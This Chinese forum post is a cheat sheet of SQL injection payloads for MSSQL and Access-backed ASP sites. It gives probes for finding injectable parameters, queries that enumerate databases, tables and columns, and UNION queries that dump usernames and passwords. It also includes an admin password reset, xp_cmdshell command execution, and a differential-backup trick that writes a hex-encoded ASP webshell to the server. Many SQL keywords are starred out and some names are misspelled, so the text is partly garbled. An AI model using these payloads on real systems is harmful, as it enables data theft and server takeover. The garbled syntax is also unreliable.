2026年10月31日 · 今日 0 帖 · 会员 6.1万 · 主题 17.4万
登录 · 注册 · 游客,欢迎随便逛逛
返回版块
11406
Lv1韶华一笑间等级图标
帖子
62
回复
120
积分
2,076
注册
2011-02-07
[计算机网络]

SQL注入常用语句【漫天教程】

[复制链接]
查看 1,130 回复 0
楼主 发表于 | 只看该作者
75 人收藏

整形参数判断

1、直接加‘ 2、and 1=1 3、 and 1=2

如果1、3运行异常 2正常就存在注入

字符型判断

1、直接加‘ 2、and ‘1‘=‘1‘ 3、 and ‘1‘=‘2‘

搜索型: 关键字%‘ and 1=1 and ‘%‘=‘%

关键字%‘ and 1=2 and ‘%‘=‘%

如果1、3运行异常 2正常就存在注入

获取数据库版本

and (* @@version)>0

获取当前数据库名

and db_name()>0

获取当前数据库用户名

and user>0

and user_name()=‘dbo‘

猜解所有数据库名称

and (* count(*) from *.dbo.sysdatabases where name>1 and dbid=6) <>0

猜解表的字段名称

and (* Top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0

and (* top 1 asernaose from admin where id =1)>1

.asp?id=xx having 1=1 其中admin.id就是一个表名admin 一个列名id

.asp?id=xx group by admin.id having 1=1 可以得到列名

.asp?id=xx group by admin.id,admin.username having 1=1 得到另一个列名 页面要和表有联系

如果知道了表名和字段名就可以爆出准确的值

union * 1,2,username,password,5,6,7,8,9,10,11,12 from usertable where id=6

爆账号

union * min(username),1,1,1,.. from users where username > ‘a‘

依次循环爆其余的账号

union * min(username),1,1,1,.. from users where username > ‘admin‘

;begin * @ret varchar(8000) set @ret=‘:‘ * @ret=@ret+‘ ‘+username+‘/‘+password from userstable where username>@ret * @ret as ret into foo end

修改管理员的密码为123

.asp?id=××;* admin set password=‘123‘ where id =1

.asp?id=××;* into admin(asd,..) values(123,..) –就能能往admin中写入123了

rebots.txt

猜解数据库中用户名表的名称

and (* count(*) from 数据库.dbo.表名)>0

若表名存在,则工作正常,否则异常

得到用户名表的名称,基本的实现方法是

1:

and (* top 1 name from 数据库.dbo.sysobjects where xtype=‘U‘ and status>0 )>0 或

and (* Top 1 name from sysobjects where xtype=’U’ and status>0)>0

但在异常中却可以发现表的名称。假设发现的表名是xyz,则

2:

and (* top 1 name from 数据库.dbo.sysobjects where xtype=‘U‘ and status>0 and name not in(‘xyz‘,‘..‘..))>0

可以得到第二个用户建立的表的名称,同理就可得到所有用建立的 表的名称

3:

and (* top l name from (* top *N*id,name from bysobjects where xtype=char(85)) T order by id desc)>1 N为数据库中地N个表

利用系统表区分数据库类型

and (* count(*) from sysobjects)>0

and (* count(*) from msysobjects)>0

若是SQL-SERVE则第一条,ACCESS则两条都会异常

判断是否有比较高的权限

and 1=(* is_srvrolemember(‘sysadmin‘))

and 1=(* is_srvrolemember(‘serveradmin‘))

判断当前数据库用户名是否为db_owner:

and 1=(* is_member(‘db_owner‘))

*cmdshell

:* *..*cmdshell ‘要执行的cmd命令‘

判断长度

and (* top 1 len(字段) from 表名)>5

爆料出正确值

and (* top 1 asc(substring(字段,1,1)) from 表名)>0

差异备份

//备份数据库到某处

;backup database 数据库名 to disk =‘c:\\charlog.bak‘;--

//创建名为datachar的表

;* table *dbo*.*datachar* (*cmd* *image*)

cmd为列名 image 数据类型

//插入值,为一句话木马的16进制形式:<%*ute(request(“a“))%>

;* into datachar(cmd)values(0x3C25657865637574652872657175657374282261222929253E)—

//进行差异备份,把不同的信息备份到某处

;backup database 数据库名 to disk=‘目录‘ WITH DIFFERENTIAL,FORMAT;--

登录回复

登录后可以回复这个帖子。旧账号可使用原密码登录。

登录 注册新号
← 返回版块